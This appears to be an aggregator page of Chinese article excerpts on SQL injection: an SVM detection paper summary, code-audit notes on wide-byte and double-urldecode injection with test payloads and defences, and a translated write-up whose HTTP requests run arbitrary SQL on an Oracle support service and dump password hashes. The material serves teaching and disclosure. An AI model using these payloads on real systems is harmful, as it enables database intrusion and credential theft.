精华内容
下载资源
问答
  • 论文研究学习总体介绍和概括SQL注入的背景为什么会产生SQL注入SQL影响攻击类型传统的漏洞注入技术传统的注入技术的缺陷基于SVM的SQL注入漏洞挖掘技术数据集处理模型选择模型的建立 总体介绍和概括 这篇文章,首先从...

    总体介绍和概括

    这篇文章,首先从介绍SQL注入的背景入手,这里点到了产生原因、影响、攻击类型和传统的漏洞注入技术。然后提出基于机器学习的 SQL 注入漏洞挖掘方法,这里的指的是利用SVM来对数据集进行分类回收。最后用实验证明该模型和提出相应的问题。

    我认为本文的可取之处,在于对传统SQL注入技术的总结,然后使用支持向量机机器学习算法结合词袋模型实现了SQL注入漏洞挖掘的自动化。这一点值得借鉴。

    下面,我将对该论文的章节进行详述。(这里主要是用我自己的话,来阐述)

    SQL注入的背景

    为什么会产生SQL注入

    网站后台通常使用用户输入信息动态地构造SQL语句来与后端数据库进行交互,在网站后台没有对用户输入进行合理的过滤而直接使用的情况下极易产生SQL注入漏洞。
    (一句话,可能不严谨,就是没有对用户输入的恶意代码,进行过滤)

    SQL影响

    SQL注入攻击完全破坏了目标系统的机密性、完整性和可用性,其造成的损失随数据库中存储信息的重要性变化而变化。

    更严重的问题是黑客可以把SQL注入攻击作为跳板进行更深层次的攻击活动

    具体的影响请参照SQL注入的总结

    攻击类型

    在这里插入图片描述
    报错信息指的是这种攻击方式是否需要利用查询语句执行的错误信息。基于报错的注入攻击需要将数据库中的信息伴随错误信息显示出来,所以也依赖于报错信息。(如报错注入)
    直接显示表示这种攻击方式从数据库中获得的数据是否直接显示,还是需要进行推断。(盲注)
    多条记录代表这种攻击方式能够同时获得多条数据记录。

    传统的漏洞注入技术

    静态分析指的是在不执行Web应用程序代码的前提下对其进行分析,主要借助于抽象语法树(AST)、控制流程图(CFG)、调用流程图(CG)等这类代码的中间表示中的一种或者几种,结合代码切片等代码分析手段来进行模式匹配以发现应用中可能存在的安全漏洞。

    (我的理解:就是对web应用程序进行代码审计,通过分析源代码,来判断是否是漏洞。)

    动态分析技术首先需要为Web应用程序配置适当的代码执行环境,然后在Web应用程序成功运行的前提下通过调试、Fuzzing、模拟攻击等手段挖掘其中可能存在的安全问题。

    (我的理解:就是直接对运行中的web应用程序,进行测试,发现漏洞。)
    动静结合的混杂分析:顾名思义,将上面的两个结合。

    传统的注入技术的缺陷

    在对众多Web应用进行批量漏洞挖掘时,由于应用程序之间存在的差异性,其相应的可执行环境也存在一定的差异性,这种情况下为每一个项目搭建合适的运行环境是不切实际的,为此动态分析技术在实施过程中通常不尽人意。并且有数据显示的实验结果,也是很差的。
    (我的理解:由于程序和相应环境的差异性,所以传统的注入技术,缺乏普适性)

    基于SVM的SQL注入漏洞挖掘技术

    数据集处理

    数据集:使用STIVALET等人提出的PHP代码测试样例作为机器学习的原始数据集。此数据集中与SQL查询有关的PHP代码测试样例一共有 9552 个,其中8640 个不存在注入漏洞、912 个存在SQL注入漏洞。

    数据集的不平衡问题:通过使用欠采样,随机选取两倍于漏洞代码样例数量的正常代码样例。(什么是欠采样

    最后得到的实际利用数据集:训练数据集由 1824个正常样例和912个漏洞样例组成,共有2736个测试样例。

    数据的预处理:使用PHP中内置的token_get_all函数将PHP源代码文件标签化,这些标签代表了源代码的一些关键字、符号以及代码结构。本文在标签化过程中忽略了空格符以及注释等不影响代码运行安全的信息,并且将数字和字符串转化为了特定的标签,如使用 T_CONSTANT_ENCAPSED_STRING 代表所有单双引号内的字符串。标签化过程结束后本文利用词袋模型将上述的标签化后的源代码文件进行向量化,算法粒度为单个的源代码文件。

    模型选择

    为什么使用SVM:基于VC维数和结构风险最小化原理的统计学习方法,根据有限样本信息在模型的复杂性和学习能力之间寻找最佳折衷,从而获得最优的泛化能力。
    该方法的数学意义是最终解决了与矢量维无关的凸二次规划问题,其物理本质是通过在超平面中建立决策面,使得正样本与负样本之间的隔离边界最大化。
    综合考虑经验风险和置信区间,使分类器不仅具有良好的分类性能,而且具有更好的扩展性。

    模型的建立

    1. 假定样本线性可分
      给定一个训练样本(Xi,Yi),其中i=1, 2,…, n, xi∈Rd, yi∈{+1, -1},这里yi是样本xi对应的标签,d代表向量空间的维度也就是训练时所选择的特征向量中属性的数量。最优的划分平面需满足下式:
      在这里插入图片描述
      在这里插入图片描述

    2. 样本非线性
      引入核函数,核函数的作用就是将低维空间中线性不可分的x映射到高维空间,在高维空间内那些二维空间中的线性不可分问题往往会变为线性可分。
      这里选用的是高斯核函数,(我认为可以尝试用其他的核函数来测试比较一下)
      在这里插入图片描述
      用分层交叉验证来评估该模型,并结合了精确度、召回率、F1-score。

    在这里插入图片描述
    上面是使用机器学习挖掘SQL注入漏洞的流程。
    (词袋,就是把一个字符串,转换成独立的词,用来存储)

    实验验证及问题

    首先通过词袋模型将每一个PHP测试样例文件转化为一个98维的向量作为最终的训练数据,通过网格搜索(Grid Search)算法确定最优参数C=50, λ = 0.005,
    仿真结果。
    在这里插入图片描述
    在针对上述训练集时漏洞代码的预测精确度达到了81%且召回率达到了95%,良性代码的预测精度达到了98%且召回率达到了91%。模型验证成功。

    问题

    1. 数据集的方面
      一方面是一个高质量的数据集难以获取,需要我们从很多个开源的PHP源代码中对漏洞信息进行分析、跟踪、定位,难度极大;另一方面,机器学习所需要的数据集都是十分庞大的,而一个Web程序是难以满足数据集的漏洞数量,这便要求我们从多个版本的web来下手。
      有效措施:通过组合预先收集到的输入、过滤以及危险函数这3个模块中的样本数据,来自动生成一个漏洞的样本,添加一些循环、判断和函数等复杂结构,让我们自动生成的数据集更加贴近实际。
    2. 项目方面
      对于没有历史版本的Web程序,我们没有相应的漏洞代码作为样本,用于训练;对于有历史版本,但是漏洞数量很少且分散的Web程序,我们也不能训练出优秀的数据模型;
      对于不同 的web程序,由于编写者的习惯,使用的框架等不同,导致其各自漏洞分布也不同,为此某个应用程序的漏洞代码并不能作为另一个应用程序的机器学习的训练样本。
      有效措施:使用迁移学习,增加我们的数据集和最后模型的泛化能力。
    展开全文
  • JAVA SQL注入漏洞挖掘

    2019-07-11 15:00:00
    java中sql注入主要发生在model层,黑盒测试sql注入的方法结合两点:1,异常注入后,界面有无明显的aql异常报出。2,查看数据库日志是否有脏数据注入。 preparestatement方法是预编译方法,对拼接的sql语句没用。不...

    java中sql注入主要发生在model层,黑盒测试sql注入的方法结合两点:1,异常注入后,界面有无明显的aql异常报出。2,查看数据库日志是否有脏数据注入。

    preparestatement方法是预编译方法,对拼接的sql语句没用。不能采用预编译的点:SELECT id,path FROM wp_picture WHERE id=? ORDER BY?

    容易忽视的点 HTTP头部参数:

    • 业务逻辑代码常为登录处,通过request.getHeader('X-Forwareded-For')获取ip地址后将ip插入数据库中,当做登录记录。此处除了因拼接造成的sql注入外,还会经常造成存储型XSS。

     

    转载于:https://www.cnblogs.com/lwfiwo/p/11170040.html

    展开全文
  • SQL注入漏洞 SQL注入经常出现在登陆页面、和获取HTTP头(user-agent/client-ip等)、订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTTP头里面的client-ip和x-forward-for。...

    SQL注入漏洞

    SQL注入经常出现在登陆页面、和获取HTTP头(user-agent/client-ip等)、订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTTP头里面的client-ip和x-forward-for。

     

    1.普通注入

    普通注入是指最容易利用的SQL注入漏洞,比如直接通过注入union查询就可以查询数据库,一般的SQL注入工具也能够非常好地利用。普通注入有int型和string型

    测试环境搭建:

    数据库名为test  数据库表名userinfo 以下时数据库数据

     

     

     

     

     

     

    测试出SQL注入漏洞

     

     

     

    从上面我们可以看出我们使用union查询到当前的用户

    从上面的测试代码中可以发现,数据库操作存在一些关键字,比如 select from、mysql_connect、mysql_query、mysql_fetch_row等,数据库的查询方式还有update、insert、delete 我们在做白盒审计时,只需要查找这些关键字,即可定向挖掘SQL注入漏洞

     

     

    2编码注入

    程序在进行一些操作之前经常会进行一些编码处理,而做编码处理地函数也是存在问题地,通过输入转码函数不兼容地特殊字符,可以导致输出地字符变成有害地数据,在SQL注入里,最常见地编码注入是Mysql宽字节以及urldecode/rawurldecode函数导致的

    2.1宽字节注入

    在使用PHP连接mysql的时候,当设置set character_set_client=gbk 时会导致一个编码转换的注入问题,也就是我们所熟悉的宽字节注入。当存在宽字节注入漏洞时,注入参数里带入%df%27,即可把成程序中过滤的\(%5c)吃掉。

    举个例子

    我们可以看一个例子当我id=1加上‘号提交的时候 它将’号前面加了\很明显这样时注入不成功的。

     

     

     

    但是我们如果提交/index.php?id=1%df’ and 1=1%23  由于单引号会被自动转义成\‘ ,前面的%df和转义反斜杠(%5c)组合成了%df%5c,就是一个字,这时候单引号依然存在于是就成功闭合了前面的单引号

     

     

     

    出现这个漏洞的原因时PHP连接mysql的时候执行了如下设置

    Set character_set_client=gbk

    告诉mysql服务器客户端来源数据编码时GBK,然后mysql服务器对查询语句进行GBK转码导致反斜杠\被%df吃掉,而一般都不是直接设置character_set_client=gbk

    告诉mysql服务器客户端来源数据编码时GBK,然后Mysql服务器对查询语句进行GBK转码导致反斜杠\被%df吃吃掉,而一般都不是直接设置character_set_client=gbk,通常设置方法时SET NAMES ‘gbk’,但其实SET NAMES ‘gbk‘不过是比character_set_client=gbk多干了两件事而已,SET NAMES ’gbk‘等同于如下代码:

    SET

    Character_set_connection=’gbk’,

    Character_set_results=’gbk’,

    Character_set_client=gbk

    这同样也是存在漏洞的,另外官方建议使用mysql_set_charset方式设置编码,不幸的时它也知识调用了SET NAMES,所以效果也是一样的。不过mysql_set_charset调用SET NAMES之后还记录了当前的编码,留着给后面mysql_real_escape_string处理字符串的时候使用,所以在后面只要合理地使用mysql_real_escape_string还是可以解决这个漏洞的,关于这个漏洞的解决方法:

    (1)     在执行查询之前先执行SET NAMES ‘gbk‘,character_set_client=binary设置character_set_client为binary。

    (2)     使用mysql_set_chharset(‘gbk‘)设置编码,然后使用mysql_real_escape_string()函数被参数过滤。

    (3)     使用PDO方式,在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPATES,FALSE);来禁用prepared statements的仿真效果

    宽字节注入挖掘关键字:

    SET NAMES

    Character_set_client=gbk

    Mysql_set_charset(‘gbk‘)

     

    环境搭建

    数据库沿用普通注入里面的数据库

     

     

     

    测试出SQL注入漏洞

     

     

     

    mysql的特性,因为gbk是多字节编码,两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。

    宽字节挖掘关键字

    SET NAMES

    Character_set_clent=gbk

    Mysql_set_charset(‘gbk’)

    Mysql_set_charset(‘gbk‘)

     

     

    2.2二次urldecode注入

    只要字符被进行转换就有可能产生漏洞,现在web程序大多都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或开启GPC的方式进行防止注入,也就是给单引号、双引号、反斜杠和NULL加上反斜杠转义。如果某处试用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。原理是我们提交参数到webserver时,webserver会自动解码一次

    测试环境搭建:

     

     

     

     

     

     

    我们可以看url部分%25经过第一次转码后的结果时%所以拼接后面的成为%27 而%27再经过urldecode经过第二次转码成为单引号成功引发注入

    二次urldecode挖掘关键字

    Urldecode

    Rawurldecode

     

     

    3.漏洞防范

    在PHP中可以利用魔术引号来解决,不过魔术引号在PHP5.4后被取消,并且gpc在遇到int型注入时也会显得不那么给力了,所以通常用的多的还是过滤函数和类,像discuz、dedecms、phpcms等程序里面都使用过滤类,不过如果单纯的过滤函数写的不够严谨,也会出现绕过的情况,像这三套程序都存在绕过问题。当然最好的解决方案还是利用预编译的方式。

    1.   gpc/rutime 魔术引号

    通常数据污染有两种方式,一种格式应用被动接受参数,类似于GET、POST等;还有一种是主动红红火火去参数,类似于读取远程页面或者文件内容等。所以放置SQL注入的方法就是要守住这两条路。Magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤,magiic_quotes_runtime对从数据库或者文件中获取的数据进行过滤 开启这两个选项之后能防住部分SQL注入 在int型注入上是没有多大作用的。

    2.过滤类函数和类

           (1)addslashes函数

           Addslashhes函数过滤的值范围和GPC时一样的,即单引号(‘)、双引号(“)、反斜杠(\)及空字符NULL,它只是一个简单的检查参数的函数,大多数程序使用它实在程序的入口。

     

     

     

           (2)mysql_[real_]escape_string函数

           Mysql_escape_string和mysql_real_e3.scape_string函数都是对字符串进行过滤,在PHP4.0.3以上版本才有。

     

     

     

           (3)intval等字符转换

           以上里昂中过滤方式,在int类型注入时效果并不好,比如可以通过报错或者盲注方式绕过,这时候intval等函数就起作用了,intval的作用是将变量转换成int类型,这里距离intval是要表达的一种方式,一种利用参数类型白名单的方式来防止漏洞,对应的还有好很多如floatval等

     

     

     

    2.   PDO prepare预编译

    待更新…….

     

    转载于:https://www.cnblogs.com/xhds/p/11445875.html

    展开全文
  • Oracle Advanced Support系统SQL注入漏洞分析 一年多前我在客户的一个外部环境中执行渗透测试,任何外部环境渗透测试的重要步骤之一就是挖掘出可访问的WEB服务。nmap和EveWitness的结合会令这步骤变得更快,因为我们...

    Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

    Oracle Advanced Support系统SQL注入漏洞分析

    一年多前我在客户的一个外部环境中执行渗透测试,任何外部环境渗透测试的重要步骤之一就是挖掘出可访问的WEB服务。nmap和EveWitness的结合会令这步骤变得更快,因为我们可以进行端口扫描 并且把这些结果以屏幕截图的形式导入到 EyeWitness中。当梳理完 EyeWitness提供的屏幕截图页面后,我发现了一个Oracle 高级支持服务。

    Oracle Advanced Support系统SQL注入漏洞分析

    虽然我之前从没听过Oracle Advanced Support,但是当我很快的google完之后,我了解到它似乎是一个允许oracle的技术支持在外部登入,并且在oracle系统环境下进行任何技术支持需要的操作的服务。有了这个信息之后, 我们可以将现有的web应用测试与它结合起来。

    我们可以对这个应用开始进行一些简单的侦查,包括:

    • 寻找已经被爆出的漏洞
    • 用burp爬取应用
    • 枚举常见的路径
    • 查看可获取的页面的源码

    幸运的是,我在主页的源码中发现了 一个包含资产目录清单的链接。

    对于像这样一个未知的应用,目录列表是很有用的,它给我们了一些希望去发现一些很有趣 但不应该被访问到的东西 。果不其然的在搜寻每个目录之后,我偶然发现了以下的javascript文件:

    让它变得更适合阅读一些

    http://p5.qhimg.com/t01ee9ebd48adeef189.png

    在Web渗透测试中,其中一个我喜欢的并且常常忽视的事情是查找应用中的javascript文件, 并且看看他们是否支持任何POST 或者是GET请求。

    我们已经发现了一个叫做sql-service.js的javascript文件,这让我立刻在脑海中提高起警觉来。这个文件包含4个匿名函数其中三个t.getJSON方法的GET请求和一个t.post方法的POST请求。这些函数包含如下一些变量:

    
    
    1. getSqlData 
    2. createNamedSql 
    3. getNamedSqlList 
    4. getSqlNameList 

    在这篇文章的剩余部分,我将提及匿名函数中的变量。

    每个函数的根节点都位于/rest/data路径下。

    接下来是将他们拆分之后的请求:

    
    
    1. GET /rest/data/sql 
    2. POST /rest/data/sql 
    3. GET /rest/data/sql_list 
    4. GET /rest/data/sql_name_list 

    有了这些之后,开始拿出我最喜欢的代理工具:burp,看看会发生什么!

    直捣黄龙

    我首先尝试的是来自于getSqlData函数路径是/rest/data/sql的GET请求。我们也通过观察javascript发现这个请求需要附加一个参数,让我们在结尾加上”test”.

    
    
    1. HTTP Request: 
    2. GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  
    3. HTTP Response: 
    4. HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

    当我们把”test”加到请求url的末尾,服务器返回了404。同时服务器也返回了这样一个信息:Named SQL not found。如果我们尝试”test”之外的其他字符串,得到了同样的返回信息。我们把这个请求发到Burp 的 intruder模块,打算试图过一个目录列表字典来枚举潜在的参数名,看看是否能得到除了404之外的返回。但是有一个更简单的方法来找到合适的参数名。如果我们再次查看javascript,你会发现函数的名称给我们一些有价值的信息。我们在以下函数中发现了两个GET请求:getNamedSqlList 和 getSqlNameList.。我们刚才的请求返回的错误信息是 Named SQL not found error。让我们尝试针对getNamedSqlList函数的GET请求。

    
    
    1. HTTP Request: 
    2. GET /rest/data/sql_list HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json 
    9. Content-Length: 0 
    10. HTTP Response: 
    11. HTTP/1.1 200 OK  
    12. Content-Type: application/json; charset=UTF-8 
    13. Connection: close 
    14. Content-Length: 243633 
    15. [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 
    16. … 

    这的确给了我们不少的信息,让我们仔细分析一下,我们获得了一组json对象,看一下数组中的第一个对象:

    
    
    1. {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

    我们发现了以下的属性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。

    
    
    1. HTTP Request: 
    2. GET /rest/data/sql/sample HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json;charset=UTF-8 
    9. Content-Length: 0 
    10. HTTP Response: 
    11. HTTP/1.1 400 Bad Request  
    12. Content-Type: application/json 
    13. Content-Length: 44 
    14. Connection: close 
    15. Bad Request.Param value not defined for time 

    Hey!我们得到一些返回!但是我们少了一个参数,让我们加进来。

    
    
    1. HTTP Request: 
    2. GET /rest/data/sql/sample?time=1 HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json;charset=UTF-8 
    9. Content-Length: 0 
    10. HTTP Response: 
    11. HTTP/1.1 200 OK  
    12. Content-Type: application/json; charset=UTF-8 
    13. Content-Length: 2 
    14. Connection: close 

    虽然没有从服务器获得任何返回,但是也没有返回任何错误!难道是例子中的SQL语句被执行了,只是没有回显?我们可以继续尝试其他的从先前请求中获得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下!

    SQL Execution

    这就是createNamedSQL中在包体里面包含一个空json对象的POST请求:

    
    
    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json 
    9. Content-Length: 0 
    10. {} 
    11. HTTP Response: 
    12. HTTP/1.1 500 Internal Server Error 
    13. Content-Type: text/html 
    14. Content-Length: 71 
    15. Connection: close 
    16. A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

    我们得到一个关于SQL_NAME列的错误,当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。

    
    
    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept-Encoding: gzip, deflate, sdch 
    6. Accept-Language: en-US,en;q=0.8 
    7. Content-Length: 16 
    8. Content-Type: application/json;charset=UTF-8 
    9. {"test":1} 
    10. HTTP Response: 
    11. HTTP/1.1 400 Bad Request  
    12. Content-Type: text/plain 
    13. Content-Length: 365 
    14. Connection: close 
    15. Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
    16. &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

    再一次不意外的获得了一个关于未知“test”字段的bad request,但是如果你注意的话,这个错误的信息给我们返回了一些有用的属性。感谢 Oracle先生的服务!这些属性也同样出现了从getNamedSqlList发出请求获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。

    
    
    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept-Encoding: gzip, deflate, sdch 
    6. Accept-Language: en-US,en;q=0.8 
    7. Content-Length: 101 
    8. Content-Type: application/json;charset=UTF-8 
    9.     "name": "test", 
    10.     "sql":"select @@version", 
    11.     "dataSourceJNDI":"jdbc/portal" 

    这看起来是一个很好的测试请求,我们来见证一下 他是否有效。

    
    
    1. HTTP Response: 
    2. HTTP/1.1 500 Internal Server Error  
    3. Content-Type: text/plain 
    4. Content-Length: 200 
    5. Connection: close 
    6. A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

    我们仍然从服务器获得了一个错误返回,但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”, 让我们尝试第一个具有参数的GET请求。

    
    
    1. HTTP Request: 
    2. GET /rest/data/sql/test HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json;charset=UTF-8 
    9. Content-Length: 0 
    10. HTTP Response: 
    11. HTTP/1.1 200 OK  
    12. Content-Type: application/json; charset=UTF-8 
    13. Content-Length: 24 
    14. Connection: close 
    15. [{"@@version":"5.5.37"}] 

    看这里!我们获得了一些SQL执行。

    看一下“我们”是谁。

    
    
    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: */* 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Length: 101 
    9. Content-Type: application/json;charset=UTF-8 
    10.     "name": "test2", 
    11.     "sql":"SELECT USER from dual;", 
    12.     "dataSourceJNDI":"jdbc/portal" 
    13. HTTP Request: 
    14. GET /rest/data/sql/test2 HTTP/1.1 
    15. Host: host 
    16. Connection: close 
    17. Accept: application/json;charset=UTF-8 
    18. Accept-Encoding: gzip, deflate, sdch 
    19. Accept-Language: en-US,en;q=0.8 
    20. Content-Type: application/json;charset=UTF-8 
    21. Content-Length: 0 
    22. HTTP Response: 
    23. HTTP/1.1 200 OK  
    24. Content-Type: application/json; charset=UTF-8 
    25. Content-Length: 19 
    26. Connection: close 
    27. [{"USER":"SYSMAN"}] 

    看起来我们是SYSMAN 用户。通过这个oracal 文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我们就是administrator.

    试一下 我们能否抓取出用户的哈希.

    
    
    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: */* 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Length: 120 
    9. Content-Type: application/json;charset=UTF-8 
    10.     "name": "test3", 
    11.     "sql":"SELECT name, password FROM sys.user$", 
    12.     "dataSourceJNDI":"jdbc/portal" 
    13. HTTP Request: 
    14. GET /rest/data/sql/test3 HTTP/1.1 
    15. Host: host 
    16. Connection: close 
    17. Accept: application/json;charset=UTF-8 
    18. Accept-Encoding: gzip, deflate, sdch 
    19. Accept-Language: en-US,en;q=0.8 
    20. Content-Type: application/json;charset=UTF-8 
    21. Content-Length: 0 
    22. HTTP Response: 
    23. HTTP/1.1 200 OK  
    24. Content-Type: application/json; charset=UTF-8 
    25. Content-Length: 5357 
    26. Connection: close 
    27. [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 
    28. … 

    我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做很多事情。然而,针对此博客的目的,我停止下来了。

    结论

    关于这个匿名sql执行我联系了oracle,他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢?

    这个博客最大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中,我已经发现了隐藏在javascript文件中sql 注入,命令执行,和 xml实体注入攻击。

    作为针对熟练渗透测试者的练习任务,看完这篇博客并且统计多少个你能确定的漏洞。提示:超过三处。


    本文作者:Carpediem

    来源:51CTO

    展开全文
  • 一、挖掘经验 1.1 普通注入 1.2 编码注入 二、漏洞防范 2.1 gpc/runtime 魔术引号 2.2 过滤函数类 2.3 PDO prepare 预编译
  • SQL注入漏洞 出现位置 登录界面、获取HTTP开头(user-agent/client-ip)、订单处理等 普通注入 关键字 select from mysql_connect mysql_query mysql_fetch_row update insert delete 宽字节注入 出现位置 文章发表...
  • 本文记录代码审计的学习过程。 教程为《代码审计-企业级Web代码安全架构》,练习靶场为DVWA、Sqli-labs-master和Bugku。 目录 一、挖掘 1. 普通注入 2. 编码注入 ... SQL注入漏洞是我们知道的最...
  • 3. 直接挖掘select 注入 4. 漏洞验证POC 针对 url 测试:http://127.0.0.1/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,user(),4,5 ...
  • SQL注入 2. 测试 dvwa Low 安全级别拥有MySQL的root权限 2-1. 基于报错的检测方法 2-2. 基于布尔的检测方法 2-3. 查询字段数 2-4. 联合查询 2-5. 可以使用的函数 2-6. 使用 HackBar
  • 文章目录SQL 注入漏洞挖掘经验普通注入编码注入1. 宽字节注入2. 二次urldecode注入espcms 搜索注入分析漏洞防范1. gpc/rutime 魔术引号2. 过滤函数和类3. PDO prepare预编译 每类漏洞都有针对性的审计技巧,在我们...
  • - 挖掘方法 PHP mysql_real_escape_string() 函数 转义 SQL 语句中使用的字符串中的特殊字符 下列字符受影响: \x00 \n \r \ ’ " \x1a 如果成功,则该函数返回被转义的字符串。 如果失败...
  • Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据、登录信息等)的直接访问。 Web应用程序准许访问者提交数据,并可通过互联网从数据库中检索数据。而数据库是多数Web应用程序的心脏。数据库维持着Web应用...
  • 下面我们来查看high级别的SQL注入源码。 可以看到除了之前的mysql_real_escape_string()函数之外,在它前面还多加了一个stripslashes()函数,这个函数的作用是删除由 addslashes() 函数添加的反斜杠,也就是去除...
